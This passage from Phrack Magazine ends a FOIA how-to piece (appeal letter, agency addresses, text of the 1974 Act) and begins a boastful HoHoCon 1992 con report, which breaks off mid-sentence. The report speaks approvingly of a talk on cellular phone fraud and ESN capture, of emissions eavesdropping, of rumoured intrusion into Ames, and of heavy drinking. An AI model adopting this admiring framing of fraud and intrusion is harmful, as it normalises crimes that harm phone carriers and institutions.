   information about you.  At the same time, it allows you to get private
   information stored about yourself.  This is why it is important to get your
   letter notarized.

5) Law Enforcement - This allows law enforcement agencies to withhold law
   enforcement records in order to protect themselves and others.  If there is
   a trial going on, you can't request your file.  Its smart to get your file
   from the feds now, while you still can.  Don't wait until you get in some
   serious shit, and then you don't even know what they have on you!  If you
   know what they have on you, you know how to fight back.

    If you request does get refused, there is still hope.  If you think that
under the FOIA's legal terms you deserve to have the document, you can send a
letter of appeal.  This letter can also be used to argue that their processing
charge was unfair.  The appeal letter is shown below:

------------------------------------------------------------------------------

Agency Head or Appeal Officer
Name of Agency
Address of Agency
City, State, Zip Code

Re: Freedom of Information Act Appeal

Dear:
      This is an appeal under the Freedom of Information Act.

    On (date), I requested documents under the Freedom of Information Act.  My
request was assigned the following identification number: ______.  On (date),
I received a response to my request in a letter signed by (name of official).
I appeal the denial of my request.

    [Optional] The documents that were withheld must be disclosed under the
FOIA because...

    [Optional] I appeal the decision to deny my request for a waiver of fees.
I believe that I am entitles to a waiver of fees.  Disclosure of the documents
I requested is in the public interest because the information is likely to
contribute significantly to public understanding of the operations or
activities of government and is not primarily in my commercial interest.
(Provide Details)

    [Optional]  I appeal the decision to require me to pay review costs for
this request.  I am not seeking this document for commercial use.  (Provide
Details)


    Thank you for your consideration of this appeal.

                      Sincerely,

                      Name
                      Address
                      City, State, Zip Code
                      Telephone Number [Optional]
------------------------------------------------------------------------------


Here is a listing of a few government agencies that hold records on individual
citizens:

Agriculture
     Department of Agriculture
     Washington, D.C. 20250

Air Force
     Department of the Air Force
     The Pentagon
     Washington, D.C. 20330

Alcohol, Drug Abuse, and Mental Health
     Alcohol, Drug Abuse, and Mental Health Administration
     5600 Fisher Lane
     Rockville, Maryland 20857

Alcohol, Tobacco and Firearms
     Bureau of Alcohol, Tobacco, and Firearms
     1200 Pennsylvania Avenue, N.W.
     Washington, D.C. 20226

American Battle Monuments
     American Battle Monuments Commission:
     40014 Forrestal Bldg.
     Washington, D.C. 20314

Appalachian Regional
     Appalachian Regional Commission:
     1666 Connecticut Avenue, N.W.
     Washington, D.C. 20235

Arms Control and Disarmament
     U.S. Army Control and Disarmament Agency
     320 21st Street
     Washington, D.C. 20451

Army
     Department of the Army
     The Pentagon
     Washington, D.C. 20314

Census
     Bureau of the Census
     Federal Building 3
     Washington, D.C. 20233

CIA
     Central Intelligence Agency
     Washington, D.C. 20505

Civil Aeronautics
     Civil Aeronautics Board
     1825 Connecticut Avenue, N.W.
     Washington, D.C. 20428

Civil Rights
     Civil Rights Commission
     1121 Vermont Avenue, N.W.
     Washington, D.C. 20425

Civil Service
     Civil Service Commission
     1900 E Street, N.W.
     Washington, D.C. 20415


Coastal Plains
     Coastal Plains Regional Commission
     1725 K Street, N.W.
     Washington, D.C. 20006

Commerce
     Department of Commerce
     Washington, D.C. 20230

Community Services
     Community Services Administration
     1200 19th Street, N.W.
     Washington, D.C. 20506

Consumer Product Safety
     Consumer Product Safety Commission
     1111 18th Street, N.W.
     Washington, D.C. 20207

Copyright Office
     Copyright Office
     Library of Congress
     Washington, D.C. 20559

Customs Service
     U.S. Customs Service
     1301 Constitution Avenue, N.W.
     Washington, D.C. 20229

Defense
     Department of Defense
     The Pentagon
     Washington, D.C. 20301

Defense Contracts Audits
     Defense Contracts Audits Agency
     Cameron Station
     Alexandria, Virginia 22314

Defense Intelligence
     Defense Intelligence Agency
     RDS-3A
     Washington, D.C. 20301

Defense Investigation
     Defense Investigative Services
     D0020
     Washington, D.C. 20304

Defense Logistical
     Defense Logistical Agency
     Cameron Station
     Alexandria, Virginia, 22314

Defense Mapping
     Defense Mapping Agency
     Naval Observatory
     Washington, D.C. 20305

Disease Control
     Center for Disease Control
     Atlanta, Georgia 30333

Economic Development
     Economic Development Administration
     Department of Commerce
     14th & Constitution Avenue, N.W.
     Washington, D.C. 20230

Education
     Office of Education
     400 Maryland Avenue, S.W.
     Washington, D.C. 20202

Energy
     Department of Energy
     U.S. Department of Energy
     Washington, D.C. 20461
EPA
     Environmental Protection Agency
     401 M Street, S.W.
     Washington, D.C. 20460

Environmental Quality
     Council on Environmental Quality
     722 Jackson Place, N.W.
     Washington, D.C. 20006

Equal Employment Opportunity
     Equal Employment Opportunity Commission
     2401 E Street, N.W.
     Washington, D.C. 20506

Export-Import Bank
     Export-Import Bank of the U.S.
     811 Vermont Avenue, N.W.
     Washington, D.C. 20571

FAA
     Federal Aviations Administration
     800 Independence Avenue, S.W.
     Washington, D.C. 20591

FBI
     Federal Bureau of Investigation
     9th and Pennsylvania Avenue, N.W.
     Washington, D.C. 20535

FCC
     Federal Communications Commission
     1919 M Street, N.W.
     Washington, D.C. 20554

Federal Elections
     Federal Election Commission
     550 17th Street, N.W.
     Washington, D.C. 20463

Federal Highways
     Federal Highway Administration
     400 7th Street, S.W.
     Washington, D.C. 20590

Federal Power
     Federal Power Commission
     825 North Capitol Street
     Washington, D.C. 20426

Federal Trade
     Federal Trade Commission
     6th and Pennsylvania Avenue, N.W.
     Washington, D.C. 20580

Food and Drug
     Food and Drug Administration
     5600 Fisher Lane
     Rockville, Maryland 20857

Foreign Claims Settlement
     Foreign Claims Settlement Commission
     1111 20th Street, N.W.
     Washington, D.C. 20579

General Accounting
     General Accounting Office
     441 G. Street, N.W.
     Washington, D.C. 20548

General Services
     General Services Administration
     18th and F Streets, N.W.
     Washington, D.C. 20405

Health, Education, and Welfare
     U.S. Department of Health, Education, and Welfare
     200 Independence Avenue, S.W.
     Washington, D.C. 20201

Health Resources
     Health Resources Administration
     3700 East West Highway
     Hyattsville Maryland 20782

Health Services
     Health Services Administration
     5600 Fisher Lane
     Rockville, Maryland 20857

HUD
     Department of Housing and Urban Development
     Washington, D.C. 20410

Immigration and Naturalization
     Immigration and Naturalization Service
     425 I Street, N.W.
     Washington, D.C. 20536

Information Agency
     U.S. Information Agency
     1750 Pennsylvania Avenue, N.W.
     Washington, D.C. 20547

Interior
     Department of the Interior
     18th and C Street, N.W.
     Washington, D.C. 20240

IRS
     Internal Revenue Service
     1111 Constitution Avenue, N.W.
     Washington, D.C. 20224

International Development
     Agency for International Development
     21st and Virginia Avenue, N.W.
     Washington, D.C. 20532

International Trade
     International Trade Commission
     701 E Street, N.W.
     Washington, D.C. 20436

ICC
     Interstate Commerce Commission
     12th and Constitutional Avenue, N.W.
     Washington, D.C. 20423

Justice
     Department of Justice
     Washington, D.C. 20530

Labor
     Department of Labor
     Washington, D.C. 20210

Law Enforcement Assistance
    Law Enforcement Assistance Administration
    633 Indiana Avenue, N.W.
    Washington, D.C. 20230

National Aeronautics and Space
    National Aeronautics and Space Administration
    400 Maryland Avenue, S.W.
    Washington, D.C. 20546

National Archives and Records
    National Archives and Records Service
    Washington, D.C. 20408

National Credit Union
    National Credit Union Administration
    2025 M Street, N.W.
    Washington, D.C. 20506

National Endowment for the Arts
    National Endowment for the Arts
    806 15th Street, N.W.
    Washington, D.C. 20506

National Endowment for Humanities
    National Endowment for Humanities
    806 15th Street, N.W.
    Washington, D.C. 20506

National Highway Traffic Safety
    National Highway Traffic Safety Administration
    400 7th Street, S.W.
    Washington, D.C. 20590

National Institute of Education
    National Institute of Education
    1200-19th Street, N.W.
    Washington, D.C. 20208

National Institute of Health
    National Institute of Health
    9000 Rockville Pike
    Rockville, Maryland 20014

National Labor Relations
    National Labor Relations Board
    1717 Pennsylvania Avenue, N.W.
    Washington, D.C. 20570

National Science Foundation
    National Science Foundation
    1800 G Street, N.W.
    Washington, D.C. 20550

National Security Agency
    National Security Agency
    Fort George Meade, Maryland 20755

National Security Council
    National Security Council
    Old Executive Office Building
    Washington, D.C. 20506

National Transportation Safety
    National Transportation Safety Board
    800 Independence Avenue, S.W.
    Washington, D.C. 20594

Navy
    Department of the Navy
    The Pentagon
    Washington, D.C. 20350

Nuclear Regulation
    Nuclear Regulatory Commission
    Washington, D.C. 20555



Overseas Private Investment
    Overseas Private Investment Corporation
    1129 20th Street, N.W.
    Washington, D.C. 20527

Postal Service
    U.S. Postal Service
    475 L'Enfant Plaza, S.W.
    Washington, D.C. 20260

Prisons
    Bureau of Prisons
    320 First Street, N.W.
    Washington, D.C. 20534

Public Health
    Public Health Service
    200 Independence Avenue, S.W.
    Washington, D.C. 20201

Secret Service
    U.S. Secret Service
    1800 G Street, N.W.
    Washington, D.C. 20223

Securities and Exchange
    Securities and Exchange Commission
    500 North Capitol Street
    Washington, D.C. 20435

Selective Service
    Selective Service System
    600 E Street, N.W.
    Washington, D.C. 20435

Small Business
    Small Business Administration
    1441 L Street, N.W.
    Washington, D.C. 20416

Social Security
    Social Security Administration
    6401 Security Blvd.
    Baltimore, Maryland 21235

State
    Department of State
    Washington, D.C. 20520

Transportation
    Department of Transportation
    400 7th Street, S.W.
    Washington, D.C. 20590

Treasury
    Department of the Treasury
    1500 Pennsylvania Avenue, N.W.
    Washington, D.C. 20220

Urban Mass Transit
    Urban Mass Transit Administration
    400 7th Avenue, S.W.
    Washington, D.C. 20590

Veterans
    Administration
    Vermont Avenue, N.W.
    Washington, D.C. 20420

    Here is a copy of the Freedom of Information Act and all of its
amendments.  It may prove to have some usefulness.  You might want to read
through it to understand the law better.  I would not recommend reading it if
you are in a suicidal state.

------------------------------------------------------------------------------

                   FULL TEXT OF FREEDOM OF INFORMATION ACT,
                    AS AMENDED IN 1974 BY PUBLIC LAW 93-502


% 552  Public Information; agency rules, opinions, orders, records, and
    proceedings
  (a) Each agency shall make available to the public information as follows:
  (1) Each agency shall separately state and currently publish in the Federal
Register for the guidance of the public-
      (A) descriptions of its central and field organization and the
     established places at which, the employees (and in the case of a
     uniformed service, the members) from whom, and the method whereby, the
     public may obtain information, make submittals or requests, or obtain
     decisions;
      (B) statements of the general course and method by which its functions
     are channeled and determined, including the nature and requirements of
     all formal and informal procedures available;
      (C) rules of procedures, descriptions of forms available or the places
     at which forms may be obtained, and instructions as to the scope and
     contents of all papers, reports, or examinations;
      (D) substantive rules of general applicability adopted as authorized by
     law, and statements of general policy or interpretations of general
     applicability formulated and adopted by the agency; and
      (E) each amendment, revision, or repeal of the foregoing.

Except to the extent that a person has actual and timely notice of the terms
thereof, a person may not in any manner be required to resort to, or be
adversely affected by, a matter required to be published in the Federal
Register and not so published.  For the purpose of this paragraph matter
reasonably available to the class of persons affected thereby is deemed
published in the Federal Register when incorporated by reference therein with
the approval of the Director of the Federal Register.
  (2) Each agency, in accordance with published rules, shall make available
for public inspection and copying-
       (A) final opinions, including concurring and dissenting opinions, as
     well as orders, made in the adjudication of cases;
       (B) those statements of policy and interpretations which have been
     adopted by the agency and are not published in the Federal Register; and
       (C) administrative staff manuals and instructions to staff that affect
     a member of the public;

unless the materials are promptly published and copies offered for sale.  To
the extent required to prevent a clearly unwarranted invasion of personal
privacy, an agency may delete identifying details when it makes available or
publishes an opinion, statement of policy, interpretation, or staff manual or
instruction.  However, inn each case the justification for the deletion shall
be explained clearly in writing.  Each agency shall also maintain and make
available for public inspection and copying current indexes providing
identifying information for the public as to any matter issued, adopted, or
promulgated after July 4, 1967, and required by this paragraph to be made
available or published.  Each agency shall promptly, quarterly or more
frequently, and distribute (by sale or otherwise) copies of each index or
supplement thereto unless it determines by order published in the Federal
Register that the publication would be unnecessary and impracticable, in which
case the agency shall nonetheless provide copies of such index on request at a
cost not to exceed the direct cost of duplication.  A final order, opinion,
statement of policy, interpretation, or staff manual or instruction that
affects a member of the public may be relied on, used, or cited as precedent
by an agency against a party other than an agency only if-
      (i) it has been indexed and either made available or published as
    provided by this paragraph; or
      (ii) the party has actual and timely notice of the terms thereof.
  (3) Except with respect to the records made available under paragraphs (1)
and (2) of this subsection, each agency, upon any request for records which
(A) reasonably describes such records and (B) is made in accordance with
published rules stating the time, place, fees (if any), and procedures to be
followed, shall make the records promptly available to any person.
  (4)(A) In order to carry out the provisions of this section, each agency
shall promulgate regulations, pursuant to notice and receipt of public
comment, specifying a uniform schedule of fees applicable to all constituent
units of such agency.  Such fees shall be limited to reasonable standard
charges for documents search and duplication and provide for recovery of only
the direct costs of such search and duplication.  Documents shall be furnished
without charge or at a reduced charge where the agency determines that waiver
or reduction of the fee is in the public interest because furnishing the
information can be considered as primarily benefiting the general public.
     (B) On complaint, the district court of the United States in the district
   in which the complainant resides, or has his principal place of business,
   or in which the agency records are situated, or in the District of
   Columbia, has jurisdiction to enjoin the agency from withholding agency
   records and to order the production of any agency records improperly
   withheld from the complainant.  In such a case the court shall determine
   the matter de novo, and may examine the contents of such agency records in
   camera to determine whether such records or any part thereof shall be
   withheld under any of the exemptions set forth in subsection (b) of this
   section, and the burden is on the agency to sustain its action.
     (C) Notwithstanding any other provision of law, the defendant shall serve
         an answer or otherwise plead to any complaint made under the
         subsection within thirty days after service upon the defendant of the
         pleading i which such complaint is made, unless the court otherwise
         directs for good cause shown.
     (D) Except as to cases the court considers of greater importance,
         proceedings before the district court, as authorized by this
         subsection, and appeals therefrom, take precedence on the docket over
         all cases and shall be assigned for hearing and trial or for argument
         at the earliest practicable date and expedited in every way.
     (E) The court may assess against the United States reasonable attorney
         fees and other litigation costs reasonably incurred in any case under
         this section in which the complainant has substantially prevailed.
     (F) Whenever the court orders the production of any agency records
         improperly withheld from the complainant and assesses against the
         United States reasonable attorney fees and other litigation costs,
         and the court additionally issues a written finding that the
         circumstances surrounding the withholding raise we questions whether
         agency personnel acted arbitrarily or capriciously with respect to
         the withholding, the Civil Service Commission shall promptly initiate
         a proceeding to determine whether disciplinary action is warranted
         against the officer or employee who was primarily responsible for the
         withholding.  The Commission, after investigation and consideration of
         the evidence submitted, shall submit its findings and recommendations
         to the administrative authority of the agency concerned and shall
         send copies of the findings and recommendations to the officer or
         employee or his representative.  The administrative authority shall
         take the corrective action that the Commission recommends.
     (G) In the event of noncompliance with the order of the court, the
         district court may punish for contempt the responsible employee, and
         in the case of a uniformed service, the responsible member.
  (5)  Each agency having more than one members shall maintain and make
available for public inspection a record of the final votes of each member in
every agency proceeding.
  (6)(A) Each agency, upon any request for records made under paragraph
(1),(2), or (3) of the subsection, shall-
       (i) determine within ten days (except Saturdays, Sundays, and legal
     public holidays) after the receipt of any such request whether to comply
     with such request and shall immediately notify the person making such
     request of such determination and the reasons therefor, and of the right
     of such person to appeal to the head of the agency and adverse
     determination; and
       (ii) make a determination with respect to any appeal within twenty days
     (excepting Saturdays, Sundays, and legal public holidays) after the
     receipt of such appeal.  If on appeal the denial of the request for
     records is in whole or in part upheld, the agency shall notify the person
     making such request of the provisions for judicial review of that
     determination under paragraph (4) of this subsection.
     (B) In unusual circumstances as specified in this subparagraph, the time
  limits prescribed in either clause (i) or clause (ii) of subparagraph (A)
  may be extended by written notice to the person making such request setting
  forth the reasons for such extension and the date on which a determination
  is expected to be dispatched.  NO such notice shall specify a date that
  would result in an extension for more than ten working days.  As used in
  this subparagraph, "unusual circumstances" means, but only to the extent
  reasonably necessary to the proper processing of the particular request-
       (i) the need to search for and collect the requested records from field
     facilities or other establishments that are separate from the office
     processing the request;
       (ii) the need to search for, collect, and appropriately examine a
     voluminous amount of separate and distinct records which are demanded in
     a single request; or
       (iii) the need for consultation, which shall be conducted with all
     practicable speed, with another agency having a substantial interest in
     the determination of the request or among two or more components of the
     agency having substantial subject-matter interest therein.
     (C) Any person making a request to any agency for records under paragraph
  (1), (2), or (3) of this subsection shall be deemed to have exhausted his
  administrative remedies with respect to such request if the agency fails
  comply with the applicable time limit provisions of this paragraph.  If the
  Government can show exceptional circumstances exist and that the agency is
  exercising due diligence in responding to the request, the court may retain
  jurisdiction and allow the agency addition time to complete its review of
  the record.  Upon any determination by an agency to comply with a request
  for records, the records shall be made promptly available to such person
  making such request.  Any notification of denial of any request for records
  under this subsection shall set forth the names and titles or positions of
  each person responsible for the denial of such request.
(b) This section does not apply to matters that are-
(1) (A) specifically authorized under criteria established by an Executive
 Order to be kept secret in the interest of national defense or foreign policy
 and (B) are in fact properly classified pursuant to each Executive Order;
(2) related solely to the internal personnel rules and practices of the
 agency;
(3) specifically exempted from disclosure by statute;
(4) trade secrets and commercial or financial information obtained from a
 person and privileged or confidential;
(5) inter-agency or intra-agency memorandums or letters which would not be
 available by law to a party other than an agency in litigation with the
 agency;
(6) personnel and medical files and similar files the disclosure of which
 would constitute a clearly unwarranted invasion of personal privacy;
(7) investigatory records compiled for law enforcement purposes, but only to
 the extent that the production of such records would (A) interfere with
 enforcement proceeding, (B) deprive a person of a right to a fair trial or an
 impartial adjudication, (C) constitute an unwarranted invasion of personal
 privacy, (D) disclose the identity of a confidential source and, in the case
 of a record compiled by a criminal law enforcement authority in the course of
 a criminal investigation, or by an agency conducting a lawful national
 security intelligence investigation, confidential information only furnished
 by the confidential source, (E) disclose investigative techniques and
 procedures, or (F) endanger the life or physical safety of law enforcement
 personnel;
(8) contained in or related to examination, operating or condition reports
 prepared by, one behalf of, or for the use of an agency responsible for the
 regulation or supervision of financial institutions; or
(9) geological and geophysical information and data, including maps,
concerning wells.

Any responsible segregable portion of a record shall be provided to any person
requesting such record after deletion of the portions which are exempt  under
the subsection.
  (c) This section does not authorize withholding of information or limit the
availability of records to the public, except as specifically stated in this
section.  This section is not authority to withhold information from Congress.
  (d) On or before March 1 of each calendar year each agency shall submit a
report covering the preceding calendar year to the Speaker of the House of
Representatives and President of the Senate for referral to the appropriate
committees of Congress.  The report shall include-
  (1) the number of determinations made by such agency not to comply with
 requests for records made to such agency under subsection (a) and the reasons
 for each determination;
  (2) the number of appeals made by persons under subsection (a)(6), the
 result of such appeals, and the reason for the action upon each appeal that
 results in a denial of information;
  (3) the names and titles or positions of each person responsible for the
 denial of records requested under this section, and the number of instances
 for participation of each;
  (4) the results of each proceeding conducted pursuant to subsection
 (a)(4)(F), including a report of the disciplinary action taken against the
 officer or employee who was primarily responsible for improperly withholding
 records or an explanation of why disciplinary action was not taken;
  (5) a copy of every rule made by such agency regarding this section;
  (6) a copy of the fee schedule and the total amount of fees collected by the
agency for making records available under this section; and
  (7) such other information as indicates efforts to administer fully this
section.

The Attorney General shall submit an annual report on or before March 1 of
each calendar year which shall include for the prior year a listing of the
number of cases arising under this section, the exemption involved in each
case, the disposition of such case, and the cost, fees, and penalties assessed
under subsections (a)(4)(E),(F), and (G).  Such report shall also include a
description of the efforts undertaken by the Department of Justice to
encourage agency compliance with this section.
  (e) for purposes of this section, the term "agency" is defined in section
551(1) of this title includes any executive department, military department,
Government corporation, Government controlled corporation, or other
establishment in the executive branch of the Government (including the
Executive Office of the President), or any independent agency.
------------------------------------------------------------------------------

In Conclusion:

    The Freedom of Information Act is a powerful tool that can be used to
benefit yourself and to find out what the feds keep in their log books on you.
Use it, just don't abuse it.  It gives the individual much power over the
government.  We no longer have to prove a reason to know the information, but
we have a right to know the information.  Its the government's job to keep the
information away from us.  I would also like to mention that regulations and
all documents that agencies carry can be found in any major library.  This
will save you cash and frustration.  Anyways, keep the faith, its not that bad
out there.  And watch comedy central, its good for you.

Greets to:  All the good users on atdt, the works, tlitd.  Stargazer, daemon,
joker, shadow, the hopeless warez fanatics.  Deranged derelict, jt, and all
the other virtual friends I forgot.

--------------------------------------------------------------------------------

                           ==Phrack Magazine==

               Volume Four, Issue Forty-Two, File 13 of 14

                              HoHoCon 1992
                               Miscellany




The hackers were getting nervous.  It was understandable.  Just a few weeks
before HoHoCon and already two other "get-togethers" had experienced
turbulence from the authorities.

Rumors began to fly that HoHo was to be the next target.  Messages bearing
ill-tidings littered the underground.  Everyone got worked into a frenzy about
the upcoming busts at HoHoCon.  People began to cancel their reservations
while others merely refused to commit one way or the other.

But, amidst all the confusion and hype, many declared "Let them try to
raid us!  I'm going anyway!"  These were the few, the proud...the stupid.

-------------------------------------------------------------------------------

HoHoCon as I saw it - Erik Bloodaxe (Chris Goggans)

I arrived at the Allen Park Inn in the mid afternoon on Friday the 18th.
I was promptly greeted by several of my cohorts and a loping transient
who introduced himself as "Crunchhhhhhhhh."  Yes, John Draper, the infamous
Captain Crunch had actually ventured outward to attend our little party.
(Yes, Virginia, the rumors are true:  The Captain is toothless, unkempt,
overbearing and annoying as all hell.)

I followed Scott Chasin back to our room, the pack of other early arrivals
in close file behind.  After storing my gear I noticed that Draper was
looming in the doorway ranting furiously about all the smoking in our room.
"I've never heard of a hacker who smoked," exclaimed the Captain.
Taking this as my cue, I bummed a Djarum off of Crimson Death and took great
glee in adding my fumes to the enveloping fog.

Draper spent the next 30 minutes attempting to eavesdrop on various
conversations in which various old friends were catching up.  Not knowing
any of us personally, he nonetheless felt obligated to offer his comments
about our discussions about life and college and music amidst his coughing
and complaining about the smoke.

After some time everyone was banished from the room and several of us
went out to eat.  Scott Chasin, myself, two hackers (The Conflict, & Louis
Cypher) along with Gary Poole (covering the entire mess for Unix World) took
off for the nearest grease pit.  Taco Bell won in proximity, and once
surrounded by burritos Scott, Conflict and I began our rant about Unix
Security (the lack thereof).  Gary whipped out his Unix World pen and pad
and began taking notes.  I am uncertain whether or not it was the content
of our spiel or the asides I repeatedly made regarding the bevy of giggling
coeds that garnered the most notes in Gary's booklet.

Back at the Con things were spicing up.  More people had begun to arrive
and the Allen Park Inn staff began to worry about their safety and that of
their other guests.  One remarked to Jesse (Drunkfux), the sponsor of HoHoCon, "That Draper
fellow needs to stay out of the lobby.  He was eating large
amounts of flesh off his hands and it was scaring some of the visitors."
The staff did not know what to think at all when a father arrived with his
three sons and after purchasing a room on his credit card told the boys, "Ok
guys, Mom will be picking you up on Sunday."

This did not concern most of us.  It was straight to the bar
for us, where Rambone bought Scott & myself a round of Kamikazes.  Also at
the bar was Bootleg who had just gotten out.  (Of what, and for what you
can find out on your own.)  Bootleg is probably the smartest biker I have
ever had the pleasure to meet.  We talked about sex, drugs, hawgs, computers,
cellular fraud and how close the nearest cabaret was.

A small controversy began to arise amidst the hackers at the bar.  Stationed
near one end of the room was a table lined with older men.  "FEDS," someone
murmured, gesturing at the group.

"Good for them," I said, and left the bar to look for Jesse.  When I returned
several minutes later the hackers had engaged the strangers in conversation
and found that they weren't feds after all.  Among this group were
Jim Carter of Houston-based Bank Security, and Bernie Milligan of
Communications & Toll Fraud Specialists, Inc.  Once this news was out
tensions eased and everyone continued with their libations.

Suddenly I became aware that there was girl in the room.  I had seen her out
in the courtyard previously but now she was alone.  Turning on my
"Leisure Suit Larry" charm I grabbed the seat next to her.  Melissa had arrived
from Austin to cover the event for Mondo-2000.  She surprised me by telling
me that she knew who I was, where I worked, and even knew my extension number.
(I almost fell off the barstool.)

Jim & Bernie came over and joined us at the bar.  Bootleg, Chaoswiz, Melissa
and I engaged them in wild stories about UFO's, hacking, the NSA & the CIA.
(Bernie alleged that he was ex-NSA, and Jim ex-CIA.  We have not yet
determined if they were acting under orders from Col. Jim Beam & Gen. Jack
Daniels.)

After the ensuing debates on the true formation of the NSA, the group broke up
and Melissa and I took off to MC Allah's room to partake of the keg he had
brought.  We walked in the room and were greeted with the sight of a four-foot
boy with a syringe sticking out of his arm.  This was a bit much, even for me.
I snatched his "medication" away from him and found that it was really only
some type of growth hormone.  The boy, 8-Ball, was actually 15 and his parents
had him on hormones to stimulate his growth.  8-Ball was totally whacked
out his mind nonetheless.  I think he had ingested such a diverse amount of
God knows what by the time we arrived that he was lucky to remember where
he was.  Later that evening he would become convinced that he was Scott
Chasin and confessed to quite a bit of wrongdoing just before he gave offerings
at the porcelain alter.

Conversations in the keg room left something to be desired.  One large hacker
named Tony looked at Melissa and in his best British accent asked if he
could fondle her breasts.  And the debate between MC Allah and Hunter about
who could drink the most alcohol reached a climax when both stuck their heads
under the keg spigot for extended periods of time.

Sometime just before 11:00 the hotel guard, attired in Raiders jacket and
a really, really big snow hat (the kind with the poofy ball on top) showed
up brandishing his paper baton, (A rolled up Houston Press).  "You all
needs to get to yaw roomz, nah.  I ain'tz ta gonna tell yaw no mo'."
Everyone looked the guard over and moved back into the keg room.  Thus was
born, "Homie da Guard."  After he wandered away, everyone moved back out
onto the porch.

It was getting late and I was supposed to speak the next morning so I tried to
get into our room.  Scott Chasin, hacker extrordinaire, had locked me out.
After beating on the door for 10 minutes, the windows for 5, the walls for 10,
and letting the phone ring for another 15 minutes I decided that Scott was a
bit too tipsy to unlock the door so I crashed out on Jesse's floor.

That night, the water pipes broke.  There was some speculation that those
evil hackers had "hacked the system."  Not.

While complaining about the lack of water that night, someone overheard
three young attendees at a bank of pay phones attempting to order up
a few escorts on "credit."  Rumor has it they were successful.

The next morning was chaos.  By the time we arrived at the conference room
there were about 150 people inside.  Louis Cypher sat at the door collecting
money for the raffle and getting everyone to sign the guest book.  Jesse
and others were setting up various video equipment and getting things
in order.  In the back of the room, Bernie sat scanning the crowd with a
super-ear, recording the conversations of those sitting.

Crunch was up in arms again.  "If everyone in here doesn't stop smoking
I won't be able to do my speech.  If you all want to hear me talk, you
will have to stop smoking."  Several more cigarettes lit up. After
speaking with management, Crunch came back in and asked if everyone smoking
would at least move to one side of the auditorium nearest the door.
With hesitation, the crowd conceded.

The conference got underway with consultant Ray Kaplan taking a census of
those in attendance.  The group ranged from under 15 to over 50, had
professionals and hobbyists, and had enthusiasts for every conceivable
type operating system.  Ray went on to elaborate on one of his audio
conferences in which an FBI officer alluded that one of their key
sources of information was "I.R.C."

Bootleg got up and spoke on the vast potentials involved with cellular
fraud.  He discussed how to monitor the reverse channel to obtain ESNs,
and where to obtain the equipment to allow you to do such a thing.  He
later handed out diskettes (IBM format) containing information on how
to reprogram cellular phones and where to obtain the equipment necessary
to pick subscriber numbers out of the air.

Up next, myself and Chasin.  Our topic was a bit obscure and cut deliberately
short due to concerns about the nature of our speech.  During the Dateline
NBC piece that featured Chasin a piece of information flashed on the screen
that alluded to UFO information stored on military computers.  Chasin
and I had gained possession of the research database compiled by the hackers
who were looking into this.  We discussed their project, the rumors surrounding
their findings and the fear surrounding the project.  Not knowing the true
details of this we declined to comment any further, but made the documentation
available to anyone who wanted a copy.  We finished our speech by answering
questions about Comsec, Consultants, etc.

Steve Ryan, a Houston lawyer with a great deal of interest in the
legal aspects of cyberspace spoke next.  He covered several of the current
issues affecting the community, spoke on laws in effect, cases pending,
and gave an insight to his background that led him to focus in on
the issues concerning the electronic community.

Next, Jim Carter gave a quick and dirty demonstration of how to monitor
electromagnetic radiation and how to do a simple data recovery from this
noise.  He monitored a small data terminal from a portable television set
that was completely unmodified.  He then spoke on how to read the
EMR from such things as plumbing, the ground, off of window panes, etc.
Jim's speech, although highly intriguing, got extremely vague at points,
especially regarding technology needed, his own background, etc.
(We will attribute this to his "CIA" training.)

The Hotel Officials showed up and demanded that everyone get out immediately.
Apparently someone had staggered into the kitchen, drunk, and broken
something.  Steve Ryan left to smooth things out a bit.  After a few minutes
he returned and told everyone that they could stay, but to keep it quiet
tonight.  Thus the secret plans of some to drive the hotel golf cart
into the pool were crushed.

The raffle proved to be an exercise in banality.  Everything from
flashing street lights to SunOS 4.1.3 to T-shirts to books were
auctioned off.  One lucky devil even got an official Michael Jackson
candy bar.

The folks from RDT (Count Zero and White Knight) handed out a large amount
of photocopied goodies such as the new "Forbes" article on hackers,
a complete set of the old 70's telephony 'zine "TEL" as well as assorted other
flyers and pamphlets.

Up next, Louis Cypher spoke about his entanglement with the law
regarding his front-page bust for counterfeiting.  He told of his
experiences with the law, how they got involved in such a dastardly
deed, what jail was like on the inside, and advice against anyone
else considering such a thing.

Up last, John Draper.  Draper had managed by this time to annoy almost
everyone at the convention.  A large portion of those in attendance
left as soon as he got up.  They were the unlucky ones.  Draper, for all his
oddities, is an intriguing speaker.  His life has been quite rich with
excitement and when he can actually focus on a subject he is captivating.
He spoke on his trip to the Soviet Union where he met computer and telephone
enthusiasts in Moscow.  He spoke on his unfortunate involvement with
Bill SF and the BART Card duplication scandal.  He spoke, with obvious
longing, of the good old days of blue boxing, and stacking tandems to
obtain local trunks, and on verification circuitry.

Listening to Draper talk really brought me back to my beginnings.  I could
hear in my head the "cachink-chink" of a tandem waiting for MF.  I remembered
stacking tandems to Europe and back to call my other line.  I remembered
the thrill of finding never before known trunks and exploring their
connections.  I fell into a deep nostalgic high, and walked up to John
to tell him thanks.  As I extended my hand to him, he mumbled something
unintelligible and wandered off.  So much for paying respect.

About ten of us took off to Chuy's for dinner:  Me, Chasin, Conflict,
Rambone, Dispater, Blue Adept, Minor Threat and reporters Joe Abernathy
and Gary Poole were among the diners.  Everyone ate heartily and listened
to cordless telephone conversations on Rogue Agent's handheld scanner.
One conversation was between what appeared to be a "pimp" talking to his
"ho" about some money owed him by another in his flock.  The conversation
drifted to the Dallas man who had terrorized an entire neighborhood some
months back with prank phone calls.  Conflict and Dispater repeated a
few of the choicest of the calls for our amusement.

Back at the hotel, Dr. Hoffman's Problem Child had escaped, and several
casualties were reported.

Conflict, Chasin and I barricaded ourselves in our room and went on a lengthy
stream of consciousness rant about what we needed out of life.  Our absolute
essentials were reduced to a small room with a computer hooked into the
Internet, a specially designed contour chair, a small hole through which
a secretary would give us food, virtual reality sex toys, and a toilet.
(Chasin suggested no toilet, but a catheter so we would never have to move.)
Gary Poole was quietly stunned in the corner of the room making mental notes.

Much of the con had moved into a suite that had been converted into a
mass computing arena.  Several attendees from Pittsburgh had turned their
room into a lab with four Unix workstations with several terminals throughout
the room including the bathroom!  These were hooked into the Internet through
a slip connection that had been rigged somewhere.  It was quite a site.
The room was usually completely packed and smelled like a smoky gymnasium.

(It was rumored that after Chasin and I spoke on the UFO conspiracy, several
hackers began their attempts at penetrating the Ames Research Lab.  No
reports back on their success.)

After I finished copying several Traci Lords video tapes (ahem) I relinquished
control of the decks to a room downstairs.  Dispater played a video
manipulation he and Scott Simpson had produced.  They had found a TRW training
video tape during a trashing run and dubbed in their own dialogue.  (You'd
have to see it to fully understand.)

After that, I played a few tapes of my own.  The first was a short film called
